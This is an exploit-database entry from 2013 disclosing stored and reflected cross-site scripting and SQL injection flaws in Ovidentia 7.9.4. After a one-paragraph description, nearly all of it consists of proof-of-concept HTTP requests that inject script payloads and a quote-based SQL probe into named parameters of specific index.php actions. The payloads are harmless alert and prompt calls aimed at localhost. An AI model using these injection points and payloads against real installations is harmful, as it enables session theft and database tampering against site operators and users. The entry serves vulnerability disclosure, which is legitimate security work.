Ovidentia 7.9.4 - Multiple Vulnerabilities

2013-08-22T00:00:00
ID 1337DAY-ID-21147
Type zdt
Reporter LiquidWorm
Modified 2013-08-22T00:00:00

Description

Input passed via several parameters is not properly sanitized before being returned to the user or used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code and HTML/script code in a user's browser session in context of an affected site.

                                        
                                            ============================================================
#1 - Stored XSS
------------------------------------------------------------
 
POST http://localhost/ovidentia/index.php HTTP/1.1
 
tg  users
idx Create
pos A
grp 
widget_filepicker_job_uid[] 52154a53cc0de
user[nickname]  "><script>alert(1);</script>
user[password1] pass123
user[password2] pass123
user[notifyuser]    0
user[sendpwd]   0
user[sn]    Testingusio
user[mn]    M
user[givenname] Testa
user[email] "><script>alert(2);</script>
 
 
============================================================
#2 - Stored XSS
------------------------------------------------------------
 
POST http://localhost/ovidentia/index.php HTTP/1.1
 
user[id]    2
tg  user
idx Modify
item    2
pos 
grp 
widget_filepicker_job_uid[] 52154bde9410a
user[nickname]  test
user[setpwd]    0
user[password1] 
user[password2] 
user[sendpwd]   0
user[sn]    "><script>alert(3);</script>
user[mn]    M
user[givenname] "><script>alert(4);</script>
user[email] [email protected]
 
GET http://localhost/ovidentia/index.php?tg=user&idx=Modify&item=2&pos=&grp= HTTP/1.1
 
 
============================================================
#3 - Stored XSS
------------------------------------------------------------
 
POST http://localhost/ovidentia/index.php HTTP/1.1
 
Submit2 Update
idx modify
item    1
ovmldetail  "><script>alert(5);</script>
ovmlembedded    "><script>alert(6);</script>
tg  admoc
update  ovmldb
 
 
============================================================
#4 - Reflected XSSs
------------------------------------------------------------
 
GET http://localhost/ovidentia/index.php?tg=users&bupd="><script>alert(7);</script> HTTP/1.1
GET http://localhost/ovidentia/index.php?tg=addon/widgets/groups&idx=get&id_parent="><script>alert(8);</script>&uid=widget_acl99&levels=2&id_delegation=0
GET http://localhost/ovidentia/index.php?tg=admoc&idx=addoc&item="><script>alert(9);</script> HTTP/1.1
GET http://localhost/ovidentia/index.php?tg=users&idx=List&pos=A"><script>alert(10);</script>&grp=&sSearchText= HTTP/1.1
GET http://localhost/ovidentia/index.php?tg=users&idx=List&pos=A&grp=&sSearchText="><script>alert(11);</script> HTTP/1.1
GET http://localhost/ovidentia/index.php?tg=admfm&idx=modify&fid=1"><script>alert(12);</script> HTTP/1.1
GET http://localhost/ovidentia/index.php?idx=options&tg=calopt&urla=javascript:prompt(13); HTTP/1.1
GET http://localhost/ovidentia/index.php?idx=displayGanttChart&iIdOwner=1_</script><script>prompt(14)</script>&iIdProject=-1&tg=usrTskMgr
GET http://localhost/ovidentia/index.php?idx=displayGanttChart&iIdOwner=1&iIdProject=0_</script><script>prompt(15)</script>&tg=usrTskMgr 
GET http://localhost/ovidentia/index.php?ids=1"onmouseover=prompt(16)>&idx=hpriv&tg=topman
 
 
============================================================
#5 - SQL Injection
------------------------------------------------------------
 
GET http://localhost/ovidentia/index.php?tg=admoc&idx=octypes&action=delete_type&item=1%27&entitytype=2

#  0day.today [2018-02-16]  #